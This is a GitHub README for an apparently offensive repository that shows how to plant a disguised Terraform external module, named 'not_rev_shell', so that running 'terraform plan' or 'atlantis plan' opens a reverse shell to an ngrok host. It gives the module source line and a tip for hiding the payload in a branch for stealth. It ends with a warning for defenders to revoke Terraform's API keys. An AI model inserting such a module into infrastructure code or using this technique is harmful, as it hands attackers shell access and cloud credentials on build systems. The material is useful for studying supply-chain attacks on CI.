Skip to content

Latest commit

 

History

History
17 lines (12 loc) · 875 Bytes

File metadata and controls

17 lines (12 loc) · 875 Bytes

terraform_external_module_rev_shell

Terraform file external dependency injection to get rev shell when terraform plan or atlantis plan is run.

module "not_rev_shell" {
  source = "[email protected]:carlospolop/terraform_external_module_rev_shell//modules"
}

For an even more stealth attack you can use the ref feature to hide the terraform rev shell code in a branch inside of the repo, something like: [email protected]:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

More information in https://book.hacktricks.xyz/cloud-security/atlantis

IF YOU FOUND SOMETHING SIMILAR IN YOUR ORGANIZATION (this repo probably won't work out of the box as the rev shell is sent to 4.tcp.ngrok.io:15925), YOU HAVE BEEN COMPROMISED. DEACTIVATE ALL THE API KEYS THAT TERRAFORM IS USING AND CHECK FOR FURTHER EXPLOITATIONS AND MOVEMENTS